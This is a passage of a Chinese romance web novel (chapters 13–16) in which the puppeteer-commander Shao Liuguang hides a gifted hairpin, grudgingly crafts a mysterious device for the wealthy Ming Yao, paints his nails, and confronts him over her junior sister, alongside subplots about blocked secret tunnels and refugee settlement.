长啸被她这突如其来的举动弄得一愣,挠了挠头,有些不解。
他猜想,老大可能是怕把这贵重又好看的新簪子弄丢了,或是磕碰坏了,所以才会如此小心,甚至收起来舍不得戴。
“也是。”他憨笑了一下,顺着话头说道,“那咱们接着说公孙家的事?他们提议三日后在城中议事堂细谈……”
邵琉光“嗯”了一声,紧攥着玉簪的手,默默背到了身后。
13.藏簪
东校场有了个新名字——护城营。
护城营远在城郊,偏远安静。邵琉光为了方便办事,几乎将全部身家都搬到了这里。
此刻,她正伏案对着那张结构不完整的图纸凝神思索。这图纸描绘的物件十分古怪,线条流畅却透着股邪气。
她想起明杳提过这是他亲手所画。
可对着这仅有半幅的图样,她翻遍了手边能找到的器械图谱,甚至查阅了残破的《鲁班遗录》,也找不出任何相似之物。
“邵司领!”帐外传来下属的通禀声,“白公子求见。”
来得正好。邵琉光直起身,揉了揉眉心:“让他进来。”她正想问他,剩下的半张图纸,究竟画了什么。
帐帘掀开,明杳弯腰越过帐帘,手里还提着个精致食盒,尚未开口,邵琉光已快步走到他面前,举起手中那半幅图纸,问他:“东西带了吗?给我看看。”
明杳不疾不徐将食盒放下,一边揭开盖子,一边道:“这个不急。我今日来,正是要送这剩下半幅图。”
食盒里是几样做得玲珑可爱的点心。
“你先过来尝尝,这是城中新开的酥香斋做的,我尝着味道尚可,便想着给你也带些。”
邵琉光目光在那点心上停留了一瞬,便又落回图纸上。
“东西什么时候吃都行。”她伸手拉住他的衣袖,带他到案前,将图纸完全展开,“另一半图纸呢?”
明杳叹口气,慢悠悠地从怀中取出另一张折叠的纸。
他目光不经意扫过她的发髻,眉头蹙起:“你头上的簪子呢?”
邵琉光正要去接图纸,闻言动作一顿,抬手摸了摸自己的发髻,她面色如常:“许是掉了。营中事务繁杂,难免疏忽。”
“掉了?”明杳显然不信。那簪子并非轻易会脱落的样式,可看她脸上那副浑不在意的淡淡表情,他又想不出别的更合理的解释。
他喉结滚动,压下心头冒起的酸涩火气,追问道:“掉在营中,总会有人捡到归还。你……什么时候掉的?”
“兴许是这两日。”邵琉光答得模棱两可。
明杳的话堵在喉头。
他想问,掉了两日你才发现吗?每日晨起对镜梳洗时,难道不曾察觉?
但最终,他只是抿紧了唇,什么也没再说,将手中的半幅图纸递了过去。
邵琉光将两张图纸在案上拼合,完整的图样终于呈现眼前。
虽然依旧是她从未见过的诡异样式,但某些连接处的设计,其暗示太过明显。她几乎是瞬间就明白了这东西的真实用途……绝非什么正经工具。
她脸色倏地沉了下去,猛地抬头看向明杳:“你要我做的……是这种东西?”
“嗯。”
“不做。”邵琉光一把挥开案上的图纸,纸张飘落在地。
明杳顿了顿,弯下腰,将散落的图纸一一捡起,重新放回她面前的案上。
“邵姑娘,”明杳一字一顿,“那日校场借兵,你还欠着我一个条件,记得吧?”
邵琉光:“……”
明杳继续道:“我现在,要行使这个权利。我就要你——做这个。”
邵琉光盯着他,又扫了一眼那令人不适的图纸,内心天人交战,胸口剧烈起伏。
好半晌,她深吸一口气,像是用尽了全身力气,才从牙缝里挤出几个字。
“…好。”她咬牙道,“我做。”
反正那东西,与她无关。做便做了,权当还债。
她不再看他,径直站起身,侧身对着他:“图纸我收下了。白公子,请回吧。”
明杳看了看案上丝毫未动的点心,又掠过她空空荡荡的发髻,心中憋闷,但终究什么也没说,默然离开了营帐。
帐外,书梁正候着,见自家少爷脸色阴沉得能滴出水来,脚步也带着一股闷火,连忙迎上去,小心问道:“少爷,这是……出了什么事?您脸色怎的这般难看?”
明杳不答,只沉着脸,径直往前走,目光却在营地的泥土地上逡巡。
书梁紧跟其后,摸不着头脑:“少爷,咱们直接回城吗?”
明杳脚步不停:“我要找个东西。”
“东西?什么要紧东西丢了?”书梁一愣。
“白玉梅花簪。”
书梁又是一愣,下意识回头望了一眼那顶属于邵琉光的营帐,心中霎时明了,不由得暗暗叹了口气。
.
白玉梅花簪。
此刻,正静静躺在邵琉光的掌心里,红宝石花心幽幽闪着微光。
簪子并未丢失,更非掉在营中。它一直被她妥帖地收着,方才只是藏在袖中。
她看着这簪子,指尖无意识地摩挲着冰凉的花瓣,思绪有些飘远。
这簪子……
若非送簪之人是……
她倒也不会想着如何将这簪子处理掉。
玉簪虽不是金银一类的俗物,却颇为别致,惹人怜惜。
哪怕是拿去当了,也能换不少钱……
邵琉光出了会儿神,直到帐外再次响起禀报声,才猛地惊醒,迅速将玉簪重新塞回怀中衣襟内侧。
“进。”
长啸掀帘进来,面带好奇:“老大,白公子来了啊?”
“已经走了。”
“走了?”长啸道,“我过来时还撞见他跟他家那个随从,在咱们营地里边转悠边低头找什么东西,神色还挺着急的,说是丢了什么要紧物件……”
邵琉光动作一顿:“……让他自己找便是。你来找我,是不是密道探查的事有眉目了?”<
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p>长啸这才想起正事,脸上露出几分振奋:“老大,正是!说来也是天助我们。两日前东山那边突发雪崩,声势不小,咱们派出去的探子回报,那雪崩恰好冲垮掩埋了至少三条通往城外的重要密道!这下,可算是暂时断了外头那些老鼠好几条爪子!”
这确是个难得的好消息。
邵琉光追问:“详细说说,被埋的是哪几条?可有遗漏?附近是否有人员伤亡?”
.
傍晚时分。
书梁看着依旧执着地在营地外围低头搜寻的明杳,忍不住再次劝道:“少爷,那簪子一看就价值不菲,若真掉在这营地里,兴许早就被哪个手脚不干净的捡了去……私藏了。天色不早了,咱们还是先回城吧?”
这护城营虽搭建了不少营帐,邵琉光也搬了过来坐镇,但条件实在简陋,比不得城内白府的舒适,他知道自家少爷定然住不习惯。
明杳阴沉着脸,目光扫过灰扑扑的地面。
找不到……
若真是无意遗失,也便罢了。
怕只怕,根本不是掉了。
是她扔了。
这几个字像带着刺一样,在他心头翻滚。
书梁看着少爷那副失魂落魄又强撑着的模样,心中不忍,踌躇再三,仍是开口:“少爷,有些话……本不该由我来说。可我跟着您这么多年,实在不忍看您……世间真情本就没几分可靠,您想想老夫人当年……您别陷得太深了。过不了多久,老爷那边事毕,我们总是要离开的。”
明杳脚步顿住,不愿顺着书梁的话深想,却因他的话后知后觉想起了什么。
“你倒是提醒我了。”
书梁一愣:“啊?”
明杳转过身,望向暮色中巍峨的西岭城墙:“我藏身西岭的消息,除了我爹,再无第二人知晓。按常理,绝不可能走漏风声。”
“可那些刺客,不但清楚我的行踪,还能精准无误地,在我生辰宴上当众发难。你说,除了那些想彻底扳倒我爹,断他香火的朝中政敌,还会有谁,既想要我死,又有本事探到我的确切位置?”
书梁倒吸一口凉气:“您是说……花姨娘?!”
“生辰贺礼……”明杳冷笑一声,“那些刺客,恐怕才是她真正想送给我的‘礼物’。”
明镇只有他一个儿子,再糊涂也不至于将他的保命藏身之处轻易告知外人。
外人不知,可枕边人呢?难说。
况且,他们与华京并非完全断绝联系,尽管往来隐秘,也难保不会被有心人窥探到蛛丝马迹。
书梁又惊又怒:“我这就传密信给老爷,禀明此事!”
“算了。”明杳疲惫地摆了摆手,“他若真下得去手整治,当年,就不会为了那个外室,弃我病重垂危的娘亲于不顾了。”
14.丹蔻
接连几日,守营的士兵都听见邵琉光的营帐里面传出各种各样的动静。
持续不断的锯木声,敲打声,偶尔还有一些不知在捣鼓什么的脆响……
声音不大,且显得非常小心翼翼。
偶尔送东西进帐的亲兵,瞥见帐内木屑飞扬,案几地面一片狼藉。但他们的邵司领却总是一脸镇定地端坐主位,仿佛那些声响和木屑都与她无关。
这日,长啸抱着一摞新到的公文簿册掀帘入内,立刻被飘到眼前的细碎木屑呛得咳嗽几声。他定睛一看,好家伙,地面仿佛铺了层淡黄色的薄毯,几个角落还堆着些奇形怪状的皮质边角。
而邵琉光,此刻正襟危坐于主案之后,手握朱笔批阅着什么,衣袍整洁,发丝不乱。
长啸把公文放下,忍不住好奇,指着地上:“老大,您这几日关起门来是在捣鼓什么新式兵器?这动静,兄弟们私下里都快编出奇门遁甲的故事了。”
邵琉光淡淡道:“没什么。接了个私活,要得急。”
长啸“哦——”一声:“要不要给您把家什搬到外头空地上去?那儿敞亮,地方也大,挥得开胳膊!”
“不必!”邵琉光立刻打断了他。随即,她意识到自己反应过度,微微缓了缓,转移话题:“你手里拿的又是什么?”
长啸这才想起正事,喜气洋洋地抽出一封盖着火漆印的信函,双手递上:“是公孙家主的亲笔信。信上说,族中尚有几位早年在外从过军的子弟,闻听护城营之事,自愿前来效力!还有杨家,今日也正式递来了联盟契书。杨家的女郎们您是知道的,个顶个的骁勇,骑射功夫了得,有她们加入,咱们简直是如虎添翼!”
邵琉光接过信函拆看,连日来因那件私活而紧绷的心,终于松弛了些许。
就在这时,帐外传来通禀:“邵司领,白公子求见!”
邵琉光嘴角的笑意倏然敛去:“他怎么又来了?”
明杳今日倒是两手空空,没带食盒也没拿别的什么。走进帐内,他目光扫过满地狼藉的木屑,眉梢挑了挑。
邵琉光道:“白公子,这才第二日,你来早了。那东西……还没做好。”
明杳踱步到案前,指尖拂过沾了木屑的案角,慢悠悠道:“不急。我就来看看进度。”
“你看也看不出什么。”邵琉光侧身避开他的视线,“明日,我会按时交到你手里。”
明杳闻言,倒也没有纠缠,又环顾了一周,便信步离去。
……
帐外。
书梁见自家少爷这么快就出来了,先是观察了一下他的脸色,似乎还算平静。
他松口气,迎上去低声问:“少爷,今日怎么这么快就出来了?事儿办妥了?”
明杳双手抱臂,回头瞥了一眼那顶守卫森严的大帐,嘴角勾起一抹似笑非笑的弧度:“没事办。我就是去……碍碍她的眼。看她那副想赶我走又得忍着的样子,我心里才舒坦点儿。”
“……那明日还来吗?”书梁试探着问。
“来啊,怎么不来?”明杳朝马车走去。
书梁跟在后头,心中叹气。
这看似是要折磨邵姑娘,可每日车马劳顿大老远地来回奔波,到底是在折磨谁呢?
次日,上午。
邵琉光处理着军务文书,有些心不在焉,目光总是不自觉地飘向帐帘入口的方向。
然而直到午饭时辰过了,外头依旧没有传来通禀声。
日头偏西,帐外终于响起了士兵的通报。
邵琉光立刻坐直了身体,像是终于等到了某种预料之中的麻烦,反而暗暗松了口气。
她整理了一下案上散乱的纸张,将那个早已准备好的木盒,往桌案前方推了推。
明杳进来时,一眼便看到那个显眼的木盒。
“东西在那儿,”邵琉光指了指盒子,语气冷漠无波,“拿走。”
明杳走上前,拿起木盒掂了掂,不算重。他注意到盒盖上那把精致的小铜锁,有些意外:“怎么还上了锁?”
邵琉光避开他的目光,语气生硬:“你拿回去,自己把锁砸开便是。”
她显然不打算提供钥匙,也不想亲眼看他打开查验。
明杳沉默了片刻,目光从木盒移到她没什么表情的脸上:“你不跟我一块回去?”
邵琉光猛地抬眼,眉头拧紧:“别想。我绝不可能用那个东西。”
明杳嗤笑一声,没再多说,只是抱起那个木盒:“多谢邵姑娘巧手定制。”他转身走向帐外,到门边时,脚步顿了顿,背对着她,随意地挥了挥手,“走了。”
帐帘落下,隔绝了他的身影。
.
连着几日,明杳不定时突袭。
有时是清晨,有时是午后,毫无规律可言。次数频繁到连长啸这个粗线条的都有些受不了了。
这日,明杳的马车刚在营门口停稳,长啸就亲自迎了出来,脸上堆着笑,语气却带着为难:“白公子,您又来啦?您这来得是不是忒勤快了些?我们老大那边军务实在繁忙,您看……”
明杳好整以暇地整理着袖口,瞥他一眼:“她现在都不肯见我了?”
旁边一个年轻守卫忍不住小声嘀咕:“别说邵司领了,白公子,就连我们这些轮值守门的,都被您这神出鬼没弄得战战兢兢。”毕竟这位爷身份特殊,他们拦也不是,不拦也不是。
明杳听了,非但不恼,反而笑了笑。他看向长啸:“那劳烦你转告邵司领一声,她还欠着我三笔账没还清。若是再拖着不还……可就该算利息了。”
说完,他也不纠缠,转身上了马车,径直离去。
营帐内,邵琉光就站在靠近窗户的位置,远远看着明杳在营门口被长啸拦下,交涉,然后离去。
不多时,长啸提着个食盒进来了,表情有些复杂:“老大,这是白公子带来的……按老规矩,分给晚上值夜的兄弟们?”
“嗯。”邵琉光应了一声。
长啸放下食盒,挠了挠头,还是忍不住问道:“对了老大,白公子走前提了一嘴,说您还欠着他……三笔账?这是什么意思?”
他自己思索了几秒,表情忽然变得有些古怪:“啊…难怪他当初肯那么爽快借人!老大,您到底还欠他多少钱?要是数目不小,咱们现在手头宽裕了些,兄弟们凑一凑,先替您还上!”他越说越激动,一副恨不得立刻去砸锅卖铁的样子。
邵琉光:“……”
她揉了揉眉心,有些无力:“没欠钱。”
若是欠钱,倒还好办了。
“不是钱?”长啸一愣,随即心里“咯噔”一下,脸色变了变。
不是钱,那还能是什么?他脑海中瞬间闪过一些不好的猜测,眼神里立刻充满了愤慨。
“老大,是不是他胁迫您什么了?如今咱们西岭军也算小有所成,兵强马壮,他一个外乡来的富绅,势单力薄,早就不是咱们的对手了!您要是受了委屈,只管说!兄弟们……去替您断了他的念想!”说着,拳头都攥紧了。
邵琉光轻轻叹了口气,摆了摆手:“别瞎想,去忙你的吧。”
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明杳回城后,闲来无事,便去了城中一处临河的雅致茶楼,寻了个靠窗的清净位置坐下,点了壶清茶,几样细点,打发时间。
隔壁雅间隐隐传来清脆的说笑声,是几位城中富户千金结伴出游,正在闲聊。话题不知怎的转到了时兴的丹蔻上。
几位少女互相比较着各自指甲上的颜色与花纹。
其中一个声音格外得意:“你们那些算什么,快瞧瞧我的!”
引来一片惊叹。
“呀!这颜色好生别致!”
“这花纹……是缠枝梨?画得这般精细!”
“燕姐姐,快说是哪位巧手匠人做的?我也想去求一份!”
那位被称作“燕姐姐”的少女,卖足了关子,才压低声音,炫耀道:“说了你们也请不到……这可是咱们西岭城第一傀儡师,如今的护城军司领,邵姑娘的手艺!”
“什么?邵姑娘?”
“她还会这个?!”
惊呼声此起彼伏。
公孙燕轻哼一声,继续道:“前些日子,我正闲着在府上染指甲玩儿,恰巧,邵姑娘来寻我娘商议正事。等候的间隙,我见她看着我的指甲,便打趣问她,可也会这般手艺?她没说话,只仔细看了一会儿我当日的穿着,然后便问我要了工具。”
她语气里满是佩服:“你们是没瞧见,邵姑娘那双手,稳得惊人!调色运笔,一气呵成,特意为我那日的月白梨花裙配了梨花丹蔻,那心思之巧,手法之妙,我敢说,西岭城再找不出第二份!”
众女听后,又是一阵羡慕的唏嘘。
“不愧是邵姑娘!”
“若是能请动邵姑娘也为我设计一次,花多少钱都愿意!”
她们的对话,一字不漏地飘进了明杳耳中。
在“邵姑娘”三个字出现时,他便已偏过头,隔着雅间的竹帘,目光落在了公孙燕抬起展示的手指上。
那指甲上的装饰,果然别致清雅,远非寻常匠人堆砌艳俗可比。
他看了一会儿,然后,不自觉地,垂下了眼眸,看向自己搁在茶盏边的手。
手指修长,骨节分明,是一双养尊处优的公子手。只是西岭城地处边陲,临近雪山,气候干冷,即便如今并非严冬,也远不如京中湿润养人。
他的手指边缘,已有了些微干燥起皮。
傍晚。
邵琉光终于回城。
她先回自己小院换了身干净常服,略作梳洗,犹豫片刻,还是踏着暮色,走向了白府。
书梁直接将她引到了明杳居住的院落外:“邵姑娘,少爷在屋里,您直接进去便是。”
邵琉光跨过月亮门,只见正房屋内灯火通明,窗扇大敞。
明杳似乎正在屋内踱步,身影被灯光投在窗纸上,时而
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靠近窗边,时而又走开,手里似乎还在摆弄着什么。
邵琉光心里立刻生出一丝抗拒。
他在准备什么,又想做什么?
就在她迟疑的瞬间,窗内的人影似乎察觉到了外面的动静,身子顿住,然后快步走到了窗边。
窗扉被推开,明杳探出半个身子。
他刚沐浴过,只松松穿着一件淡青寝衣,长发未束,如瀑般披散在肩头,因倾身的动作,寝衣领口微微敞开,露出一段白皙清瘦的锁骨和一小片胸膛的肌肤。
他脸上带着毫不掩饰的惊喜:“邵姑娘,你回来了。”
他这声自然亲昵的话语,莫名让邵琉光生出的几分退意,不自觉消散了一点。
她意识到自己的动摇,心头警铃大作,暗自狠狠告诫自己:这样不对。他,危险。这种关系,离经叛道,不容于世。不能再靠近……
平复过后,她深吸口气,走了过去。
刚踏进屋内,明杳就迎了上来,一把抓住了她的手。
邵琉光身体一僵,下意识咬紧了牙关。
这么快?
这么迫不及待?
然而,明杳只是低下头,捧着她的手,仔细端详着她的手指:“真好看。”
邵琉光:“……”
他到底要干什么?
明杳牵着她,走到屋内临窗的一张矮几旁。几上摊开着一些小巧的瓶罐细笔,以及调色的小碟,正是染饰丹蔻的工具。
“今日在茶楼,见城中好些姑娘都做着好看的丹蔻。”明杳将她按坐在铺着软垫的坐榻上,“我瞧着就在想,若是你来做,定会比她们所有人的都好看。”他顿了顿,带着点跃跃欲试的兴奋,“所以,我来帮你做。”
邵琉光这才明白他方才在筹备什么,松口气的同时,她抽回了自己的手,声音冷淡:“要处理营中事务,不方便。”
“不方便?”明杳低头认真思考了一下,后知后觉地点点头,“做了,确实是……不方便做,还是邵姑娘思虑周全。”
“……………”
“那你帮我做。”明杳紧接着说。
邵琉光一时没反应过来,明杳已经将自己的手伸到她面前:“我想要梅花的,要做得比她们所有人的都好看。你帮我做吧。”
邵琉光有些无语地看着他:“你一个大男人,做什么丹蔻?”
明杳语气理所当然:“我的身体,我想做什么便做什么。你只管做就是了。”
邵琉光心中飞快权衡。
做丹蔻……总比被他拉着去做别的交易要好。至少,这只是单纯的手艺活,安全,且能打发时间。
她不再多言,只低头看了看他的手,便起身挽起袖子,净了手,开始整理那些丹蔻工具。
明杳在她对面坐下,将手乖乖伸到小几上,掌心向下,一副任君处置的模样。
邵琉光握住他的手开始操作,整个过程全神贯注。
但对面的人却心思乱飘。
明杳偶尔会轻轻反捏一下她的手指,低声嘀咕:“你的手好软……”
邵琉光头也不抬:“还做不做?”
“手是软,就是心,太硬。”
邵琉光假装没听见。
“邵姑娘,我是你第一个做丹蔻的男子吗?”不等她开口,他又自问自答,“想来是的。”
“……”邵琉光不语,蘸取了一点滋润的底膏,轻轻涂在他的指甲上。
“怎么这么半天……还没见着一朵梅花?”他又开始挑剔进度,但马上又自己找补,“不过没关系,我相信你的手艺,慢工出细活嘛。”
“这颜色是不是太淡了?要不要加点红?”
“你累不累?要不要歇会儿?”
叽叽喳喳,没完没了。
邵琉光一概不回复,只当是耳边风。
时间一点点流逝。
窗外的天色彻底黑透,只余星光与屋内暖黄的灯火。
明杳起初还饶有兴致地看着她灵巧的手法,慢慢地,困意开始上涌。他忍不住打了一个哈欠。
“邵姑娘……”他声音染上困意,眼皮开始打架,“要不今天先做到这儿吧?不做了……明天再继续也行……”
邵琉光手中细笔未停:“开弓没有回头箭。再等一等,快了。”
明杳又强撑了一会儿,终究抵不过浓重的睡意。
他先是趴在了小几上,下巴抵着手臂,眼睛还半睁着追随她的动作,渐渐地,那长长的睫毛如同坠了铅,缓缓合拢,呼吸也变得均匀绵长。
——他睡着了。
邵琉光手中的笔微微一顿。她抬起眼,静静看了他片刻。
灯火柔和,将他精致的五官笼罩在一片暖融融的光晕里,美好得不像真实。
确保他睡熟后,邵琉光不再刻意拖延。
她手下动作加快,但没有按照他的要求绘制梅花,只是在他十指边缘干裂处,上完了那层清润护甲的膏脂。
15.喜好
清晨,天光微熹。
邵琉光正在白府的小厨房里,搅动着砂锅里的米粥。
米粒熬得开花软糯,里面还加了切得细碎的时蔬,香气弥漫。
昨夜她擅自做主拖延时间,还没完成丹蔻花样,以明杳那骄纵的性子,醒来后多半要闹别扭。
她需要早做防备。
一碗亲手熬煮的粥,或许能起点作用。
她端着托盘回到主院时,正撞见仆役提着热水桶往屋里送,想来明杳已经醒了。
她定了定神,端着粥跨进房门。
明杳果然已经起身,正披着外袍,独自坐在床榻边,低着头,神色不明地看着自己的手指。
听到脚步声,他抬起眼,目光落在她手中的托盘上,又移到她脸上,嘴唇微抿,没说话。
邵琉光将托盘放在桌上,先一步开口:“昨日见你手指有些干裂,怕贸然上色更伤着手,便先上了一层护手的霜膏。”她走到他面前,执起他的手,低头仔细看了看,语气带着点假意的柔情,“现在可要好些?”
她的主动靠近与触碰,还有那难得柔和的语气,让明杳准备好的质问堵在了喉咙里。
他看着她近在咫尺的脸,嗅到她身上淡淡的厨房烟火气,心头那股闷火散了大半。
“给你熬了粥。”邵琉光松开他的手,“沐浴之后用,温度正好。”
她顿了顿,抬眼看他:“可要我服侍公子沐浴?”
明杳被她这一连串的组合拳打得有些懵,那点残存的不甘也被搅散了。
他轻咳一声,站起身,开始解寝衣的系带,一边往屏风后走,一边状似随意地问:“邵姑娘今日可有事?”
随着他的动作,素白的寝衣滑落肩头,露出一片白皙精韧的胸膛。晨光透过窗棂,勾勒出清晰的锁骨线条和年轻男子特有的紧实肌理。
邵琉光移开视线,语气如常地答道:“确实有事。”
她简单提了提今日要与几位表态支持西岭军的富户代表会面,末了,又补充道:“还有城外聚集的流民日益增多,需商议一个妥善的临时安置之法,不能任由他们露宿荒野,也不能贸然全数放入城中。”
明杳听罢,点了点头:“这是正事,那你去忙吧。走时帮我把书梁叫进来。”
邵琉光看着屏风后隐约透出的修长身影轮廓,静默了片刻,才应道:“好。”
她转身欲走。
“邵姑娘。”他又唤住她。
“嗯?”
“你晚上……回来吗?”他问得有些含糊。
邵琉光脚步顿了顿,最终还是给了个模棱两可的回应:“我尽量。”
说完,不再停留,快步离开了房间。
……
书梁一边服侍明杳更衣,一边观察着他的脸色,试探地问:“少爷,今日邵姑娘回城了,您有什么想去的地方散散心吗?”
他心想,少爷总不至于还要往那偏远的护城营跑。
明杳走到桌边坐下,看着那碗还冒着微微热气的粥上。粥熬得极好,米粒晶莹软烂,表面还撒了一小撮葱花提香。
他拿起勺子,轻轻搅动了两下,舀起一勺送入口中:“好久没去看戏了。”
书梁眼睛一亮,立刻接道:“啊对了。今日未时三刻,梨园有一出《鸳鸯错》,是邵姑娘的同门师妹江泠姑娘的拿手好戏,听说排演了很久,一票难求,少爷,您想去瞧瞧吗?”
明杳低头,又喝了一口粥:“嗯。”
书梁会意,脸上露出笑容:“得嘞,我这就去安排车马。”
.
午后,阳光正好。
邵琉光刚从公孙府邸出来,与公孙凌云的一席长谈让她心中大定。长啸跟在她身侧,脸上也带着振奋之色。
长啸回味着方才的会谈:“公孙家主的话不无道理,彻底封锁所有入城密道,才能从根源上肃清外敌,断绝后患!”
邵琉光默然。
这法子她何尝没想过?只是工程量巨大,绝非短期能完成,需要的人力物力不可估量,且需防范施工期间被敌人破坏,更重要的是……
“那些拖家带口逃难至此的百姓,”她目光掠过街角衣衫褴褛的流民,“他们走投无路才来投奔西岭,若将通道彻底封死,等同于断了他们的生路,也违背了西岭庇护之地的初衷。”
长啸面露难色,这的确是个问题。
她沉吟片刻,做出决断:“在城外搭建一处临时庇护营帐,每日定时供应基本口粮和饮水,所有新到流民需在营中接受观察,确认身家清白,无疫病也无异状后,再分批放入城中安置。”
长啸听了,连连点头:“老大思虑周全,如此一来,既彰显仁德,也最大限度防范细作混入!我这就去安排人手。”
两人一路商议着细节,不知不觉竟走到了梨园附近,园内隐约传来丝竹鼓乐与喝彩声。
长啸一拍脑袋:“哎呀,瞧我这记性。老大,今日有江师妹的《鸳鸯错》。您之前不是还说,好久没碰傀儡戏了,要不要进去看看?”
邵琉光闻言,也恍然想起。
前几日江泠确实派人给她送过信,撒娇耍赖地央求她这个师姐务必抽空来捧场。这些日子忙于军务,竟差点忘了。
“也罢,”她看了看天色,“戏应该快散了。进去看一眼,正好也跟师妹说几句话。”
两人从侧门进入梨园。
戏台上,《鸳鸯错》正演到尾声,江泠操控的一对苦命鸳鸯正经历生离死别的最后时刻,丝线牵引下的木偶动作哀婉缠绵,配着凄切的乐声,台下不少看客都红了眼眶。
邵琉光站在后排阴影处,静静看着。待到幕布缓缓落下,掌声雷动,她才微微颔首,对长啸低语一句:“确有很大进益。”
她正准备绕到后台去找师妹,却见前排贵宾席上,一个熟悉的身影先她一步站起身来。
那人穿着新换的云白鹤纹锦袍,身姿挺拔,在散场的人群中格外醒目。
他怎么在这儿?邵琉光心头掠过一丝意外。
明杳并未随人流离
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开,而是径直朝着通往后台的侧幕方向走去。
邵琉光心头隐隐升起一丝不妙。
她目光紧紧跟随,隔着攒动的人头,看见明杳在侧幕边停下了,江泠正从里面走出来,两人似乎打了个照面。
不知明杳说了什么,江泠先是一愣,随即笑了起来,眉眼弯弯,还抬手比划了一下,两人站在那里,有说有笑,姿态竟显得有几分熟稔。
邵琉光的脸色,倏地沉了下去。她分开人群,快步走了过去。
“师妹。”她声音不大,带着惯常的清冷,清晰地传入正在交谈的两人耳中。
江泠闻声转头,看到邵琉光,脸上立刻绽放出更灿烂的笑容:“师姐!你真的来了!”
明杳也转过身,看到邵琉光,眼中掠过一丝惊讶:“邵姑娘,你也……”
“师妹,”邵琉光打断他的话,目光落在江泠脸上,“你先去后台等我,我稍后过去寻你。”
江泠的目光在两人之间来回扫视一圈,眨眨眼,乖巧地“哦”了一声,对明杳福了福身,转身袅袅婷婷地回了后台。
“白公子,”邵琉光这才将目光转向明杳,“我师妹年纪尚小,心思单纯,还在学艺。”
“嗯?江姑娘的傀儡技艺……的确尚不及邵姑娘你精纯。”他以为她在评价刚才的戏。
邵琉光眸色更冷了些,向前逼近半步,压低了声音:“我的意思是——别打她的主意。”
明杳这才明白她话里的含义,脸上闪过几分惊愕与荒唐:“我?打她的主意?邵姑娘,你……”
“你先回去。”邵琉光再次打断他,“我晚些时候会回府。”
说完,她不再看他脸上复杂的神色,转身朝着后台方向走去。
后台,江泠正对着一面铜镜小心地拆卸头饰,从镜子里看到邵琉光进来,立刻转过身,上前亲热地拉住邵琉光的手。
“师姐,你可算来了!”她眼睛亮晶晶的,语气兴奋,“你不知道,我刚才在台上,一眼就瞧见白公子坐在最前面,可吓了一跳。我想啊,今日又没有你的戏目,他往日可从没来捧过我的场……”
她拉着邵琉光絮絮叨叨说着自己内心的震惊,最后感叹道:“他出手可阔绰了,打赏的银锭子足足有这个数!”她比划了一下。
邵琉光看着她天真烂漫,全然不设防的样子,眉头微蹙:“阿泠,你离那位白公子远些。此人……心思难测,背景复杂,莫要被他表面的风度与钱财给骗了。”
江泠听了,噗嗤一声笑了出来,晃了晃邵琉光的手:“师姐,你想到哪儿去啦。”
“他又不是冲着我来的。”她凑近些,在邵琉光耳边低声道,“刚才他特意等在那边,拦下我,问的不是戏,也不是我。”
江泠顿了顿,看着自家师姐微微怔住的表情,一字一句,带着促狭的笑意:“他问的是——邵姑娘平日除了傀儡戏……可还有什么别的喜好?”
她歪着头,笑容灿烂又八卦。
“师姐,白公子他是不是在追求你呀?”
16.崩塌
日落黄昏。
明杳独自坐在偏厅的圆桌旁用晚膳。
桌上四五样精致小菜,只他一人动筷。偌大的厅堂,映着窗外渐浓的暮色,显出几分萧瑟孤清。
邵琉光今日回来得比往常早些,踏入白府院落时,看到的便是这样一幅画面。
那个在她印象中总是骄纵任性、张扬热烈的白府少爷,此刻低头安静吃饭,竟透着一丝罕见的孤寂感。
她不知为何,没有立刻出声,只沉默地站在院中,驻足良久。
倒是明杳似乎感应到什么,咀嚼的动作顿了顿,缓缓抬起头。
目光与站在院中的邵琉光对上时,他愣了一下。
书梁顺着明杳的目光看去,脸上也闪过一丝惊愕,随即堆满惊喜的笑容:“邵姑娘!”
邵琉光微微颔首。
书梁见自家少爷只是看着人不说话,便又笑着打圆场:“邵姑娘今日回得早,可曾用过晚膳了?”
邵琉光:“没有。”
“欸!那正好,我这就给您添副碗筷。”书梁眉开眼笑,仿佛她能留下是天大的好事,立刻转身去了厨房。
厅内又只剩下他们二人。
邵琉光走到桌边,目光扫过桌上几乎未动的菜肴,最后落回明杳脸上,轻声征询:“我能坐吗?”
明杳嘴里还含着一口未完全咽下的饭,闻言,嚼了嚼,又看了她两秒,微微点了下头。
邵琉光在他对面的位置坐下。
她本欲提一句下午梨园的误会,话到嘴边,又觉得无甚必要。
于是,她转而提起另一件更为紧要的事:“西岭城近日……要着手逐步封锁出入的各处要道了。你、你家中可曾来信催促你回去?”
明杳心下一哂:我若走了,怕是正中你下怀。他咽下口中食物,拿起帕子擦了擦嘴角,摇头:“我爹温香软玉在怀,怕是早将我这么个碍眼的儿子,忘到九霄云外了。”
邵琉光听他这般说,脸色稍缓。
她对明杳家中之事所知不多,但隐约能感觉那是他不愿提起的回忆。
她顿了顿,又道:“若打算离开,趁这几日吧。再晚些,各处加紧盘查,道路封锁,便不好走了。”
西岭城难进,离开却相对容易,但现下局势特殊,再过段时日也不易离开了。
明杳听罢,心中冷哼。她巴不得他走,他就偏不走。面上却只淡淡地“嗯”了一声。
邵琉光继续道:“西岭城地处偏远,消息闭塞,不及外界繁华有趣,更无京都的软红十丈、弦歌不夜。白公子将此地当做一时的消遣或避祸的权宜之所便罢了。若想长久留下来……”她停顿,目光清凌凌地看着他,“你可得想清楚。”
明杳沉默,半晌,他才轻声问:“那你,会一直留在西岭吗?”
“会。”邵琉光答得毫不犹豫。
她的根在这里,她的责任在这里,她的父母长眠于此,她所守护的一切都在这里。
她不可能离开。
“若我,”明杳喉结滚动了一下,“想带你离开呢?”
邵琉光:“你做不到。”
明杳:“……”
邵琉光:“外界虽繁华,却也危机四伏,处处是看不见的刀光剑影,是吃人不吐骨头的豺狼虎豹……”
她话没说完,明杳忍不住嗤笑:“你话本子看多了吧。”
邵琉光不为所动,目光落在他脸上:“你不就是误入西岭的一头豺狼?我可从未见过如你这般……离经叛道之人。”
明杳:“…………”
邵琉光似乎说累了,也或许是觉得该说的都已说完。她垂下眼睫,声音低了些:“我不懂你说的那些繁华有趣。我只记得,你是因为避难,才来到此地。既然在外斗不过,选择退避,那便说明,西岭城于你,才是安全的居所。”言尽于此,她不再多说。
恰在此时,书梁捧着新添的碗筷回来了。
明杳端起手边的漱口茶,喝了一口,耳边荡着邵琉光那句似乎带着点别样意味的评价。
冲刷不掉耳边反复回荡的那四个字——离经叛道。
她轻飘飘的、带着点别样意味的语调,锋利地刺穿了他这些时日以来,小心翼翼维持的平静表象。
离经叛道……
是啊,他的一切,在她眼中,可不就是惊世骇俗,离经叛道么?
可什么是经?什么又是道?
